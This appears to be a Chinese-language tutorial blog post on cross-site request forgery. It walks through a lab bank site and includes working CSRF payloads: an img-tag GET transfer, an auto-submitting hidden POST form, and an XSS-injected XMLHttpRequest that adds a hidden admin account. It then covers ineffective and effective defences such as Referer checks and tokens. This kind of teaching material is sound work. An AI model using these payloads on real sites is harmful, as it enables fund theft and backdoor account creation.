目录

CSRF攻击

* 概述

* 关键点

* 目标

实战:CSRF 场景复现

* 正常的业务

*CSRF 攻击

如何触发

* 场景建模

* POST 方式

实战:与XSS 的结合添加后台账号

CSRF 的防御

* 无效的防御

@   使用秘密cookie

@   仅接受POST请求

@   多步交易

@   URL重写

@   HTTPS

* 有效防御

@   验证Referer 字段

@   添加Token 验证

@   二次验证

@   用户养成良好的习惯


CSRF攻击

* 概述

跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户当前对其进行身份验证后Web应用程序执行非本意的操作。(CSRF这个漏洞发生在web应用当中,不属于系统或组件;发生CSRF攻击的场景有一个前提,有一个用户登录了web应用
    CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。(CSRF攻击的攻击重点在于我们伪造一个请求,这个请求属于更改状态类的请求,什么叫更改状态类的请求呢?比如说修改密码,他就是在更改web应用的数据库的状态,比如说转账操作。这是一个什么样的情节呢?你登录一个论坛之后,你访问一个链接你发现你的钱被转掉了
    借助社工的一些帮助(例如通过电子邮件或聊天发送链接),攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行状态更改的请求,例如转移资金,更改其电子邮件地址等。如果受害者是管理帐户,CSRF可能会危及整个Web应用程序

* 关键点

CSRF是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作。
    对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie,IP地址,Windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。

* 目标

CSRF攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害者的电子邮件地址、密码或购买商品。强制受害者查询数据,对于攻击者来说没什么用,因为无法获得服务器响应。因此,CSRF攻击针对引起状态变化的请求。
    有时可以将CSRF攻击存储在易受攻击的站点上。这些漏洞被称为“存储的CSRF漏洞”。这可以通过简单地在接受HTML的字段中存储IMG或IFRAME标记,或通过更复杂的跨站点脚本攻击来实现。如果攻击可以在站点中存储CSRF攻击,则攻击的严重性会被放大。特别是,受到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。

实战:CSRF 场景复现

需要一个 Web 应用
来源:
        1. 我给你的
        2. 你自己写的论坛,转账功能。
    为了复现CSRF 攻击的场景,我们搭建了一个模拟银行网站。该模拟银行网站的核心业务就是转账。

导入数据库的操作:source C:\phpstudy/www/bank/bank.sql

* 正常的业务

首先我们使用[admin/123456]登录银行账户。

在另一台浏览器中,使用[test/123456]登录

可以操作admin用户给test用户汇款

*CSRF 攻击

我们以admin用户的身份,在没有退掉当前网站的情况下,访问了一个极具诱惑性的网站。

当我们在这个网站中点击了某个链接

此时,我们会发现账户中给hacker 转了1000.

我们会发现,admin用户的并没有意愿给hacker 用户转账,这个操作完全是非本意的,而且请求在admin 用户不知不觉的情况下被发送。说明test 用户遭受了CSRF 攻击

如何触发

1<a href="转账链接">一刀99</a>   a标签

2<img src="">  利用img标签

----------

<meta charset='utf-8'>

<img src='./1.jpg'><br />

<img src='http://192.168.1.200/bank/action.php?

username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'

alt='宝刀在手,谁与争锋'>

-----------

尝试查看通道一的源码。
----

<img src='./1.jpg'><br />
<img src='http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

----
    也就是说,该页面通过<img> 标签发送了一个get 请求,这个get 请求,正是用户发起转账业务的请求。

* 场景建模

CSRF 的类别
    以上场景中是利用<img> 标签发送的get 请求。那么是不是把关键操作使用POST 请求,就能够防御CSRF 漏洞了呢?答案是否定的。

* POST 方式

即使转账操作使用POST 方法,攻击者也可以通过构造表单的方式来伪造请求,核心代码如下。

-----------------------------------------------------------------
<meta charset='utf-8'>
<form name='csrf' action='http://172.16.132.138/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
-----------------------------------------------------------------

此处可以利用JS 来自动提交隐藏的表单,但是页面会跳转到self.php 并且显示转账记录。这看起来就不是那么“友好”了。那么,有没有办法做到“不知不觉”呢?

实战:与XSS 的结合添加后台账号

攻击者可以通过XSS 来触发CSRF 攻击。因为,可以利用JS 来发送请求。
    通过研究受害网站的业务流程,攻击者可以构造如下代码。
----

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://172.16.132.161/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&username=hacker&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');
</script>

----
 
    我们将代码插入到网站留言板中。
    然后模拟网站管理员,登录后台,进行留言管理,只要管理员刷新页面就会触发XSS 代码,以管理员的身份发送一个请求,创建一个后台账户[ajest/123456],同时网站后台管理员一点儿“感觉”都没有。

CSRF 的防御

* 无效的防御

很多防御方式都没有办法解决CSRF 的问题。

@   使用秘密cookie

请记住,所有cookie,即使是秘密的cookie,也会随着每个请求一起提交。无论最终用户是否被欺骗提交请求,都将提交所有身份验证令牌。身份凭据。

@   仅接受POST请求

可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构建恶意链接,因此无法执行CSRF攻击。不幸的是,这种逻辑不正确。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以由JavaScript自动触发,也可以由认为表单会执行其他操作的受害者触发。

@   多步交易

多步交易不足以预防CSRF。只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF。

@   URL重写

这可能被视为一种有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID。但是,用户的会话ID在URL中公开。所以不建议通过引入另一个安全漏洞来修复一个安全漏洞。

@   HTTPS

HTTPS本身无法抵御CSRF。但是,HTTPS应被视为任何预防措施值得信赖的先决条件。

* 有效防御

@   验证Referer 字段

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问[http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93]页面完成,用户必须先登录,并且访问,[http://172.16.132.161/bank/index.php],然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以172.16.132.161 的地址或域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

@   添加Token 验证

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(随机字符串),并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

@   二次验证

二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效防御CSRF 攻击。

@   用户养成良好的习惯

对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户养成良好的上网习惯,则能够很大程度上减少CSRF攻击的危害。例如,用户上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接和图片。除此之外,用户还需要在连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。

【CyberSecurityLearning 63】CSRF攻击相关推荐

  1. 初窥CSRF攻击方式以及Flask-WTF

    含义 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. ...

  2. 所有表单对象_Laravel 表单方法伪造与 CSRF 攻击防护

    1.表单方法伪造 有时候,我们可能需要手动定义发送表单数据所使用的 HTTP 请求方式,而 HTML 表单仅支持 GET 和 POST 两种方式,如果要使用其他的方式,则需要自己来定义实现. HTTP ...

  3. 前端安全之CSRF攻击

    个人博客 文章目录 注意点 几种常见的 CSRF 攻击: 1. GET 类型的 CSRF 攻击 2. POST 类型的 CSRF 攻击 3. 链接类型的 CSRF CSRF 特点 防护策略 同源检测 ...

  4. 浅谈CSRF攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  5. 记得ajax中要带上AntiForgeryToken防止CSRF攻击

    经常看到在项目中ajax post数据到服务器不加防伪标记,造成CSRF攻击 在Asp.net Mvc里加入防伪标记很简单在表单中加入Html.AntiForgeryToken()即可. Html.A ...

  6. 渗透知识-CSRF攻击

    CSRF攻击原理及测试方法 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站 ...

  7. 第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击...

    第三百九十二节,Django+Xadmin打造上线标准的在线教育平台-sql注入攻击,xss攻击,csrf攻击 sql注入攻击 也就是黑客通过表单提交的地方,在表单里输入了sql语句,就是通过SQL语 ...

  8. SameSite Cookie,防止 CSRF 攻击

    因为 HTTP 协议是无状态的,所以很久以前的网站是没有登录这个概念的,直到网景发明 cookie 以后,网站才开始利用 cookie 记录用户的登录状态.cookie 是个好东西,但它很不安全,其中 ...

  9. 保护ASP.NET 应用免受 CSRF 攻击

    CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/ ...

最新文章

  1. 串口上升时间标准_JESD204B 串行接口时钟需要及其实现
  2. windows平台 python生成 pyd文件
  3. 这些年遇到的坑爹问题汇总
  4. 格式工厂2012致力于建立一个不受强大的团队
  5. 软件史上最伟大的十大程序员
  6. atitit.跨平台gui 概览
  7. Levenberg-Marquardt(LM算法)
  8. 政府采购87号令实施满月,地信企业须警惕九个坑
  9. React心得之降龙十八掌:第二式-飞龙在天( React组件化开发及相关概念)
  10. BUUCTF Misc 佛系青年
  11. 3 个 Linux 中快速检测端口的小技巧
  12. excel如何快速提取身份证的出生日期
  13. 11月NEO技术社区开发进展汇总
  14. springboot 链接elasticsearch
  15. Android ADB超简单的安装方法
  16. PPT中一打开输入法后就卡死
  17. MySQL综合测评_java+mysql生综合素质测评系统设计与实现
  18. 内存或磁盘空间不足 Microsoft Excel无法再次打开解决方法
  19. “国风顶流”霸王茶姬,眺望书画诗酒的远方
  20. 【Causality】因果图入门

热门文章

  1. CodeForces 165E Compatible Numbers
  2. hdu 1166 敌兵布阵 树状数组
  3. vue项目 预览照片的插件 v-viewer
  4. Apache+jboss群集部署
  5. 深入Atlas系列:探究Application Services(2) - 自定义服务器端Profile Service支持
  6. 远程连接Linux,如何使程序断开连接后继续运行
  7. tensorflow object detection API训练错误解决
  8. linux系统-软链接与硬链接区别
  9. 科大星云诗社动态20210812
  10. 一个双语交流平台的想法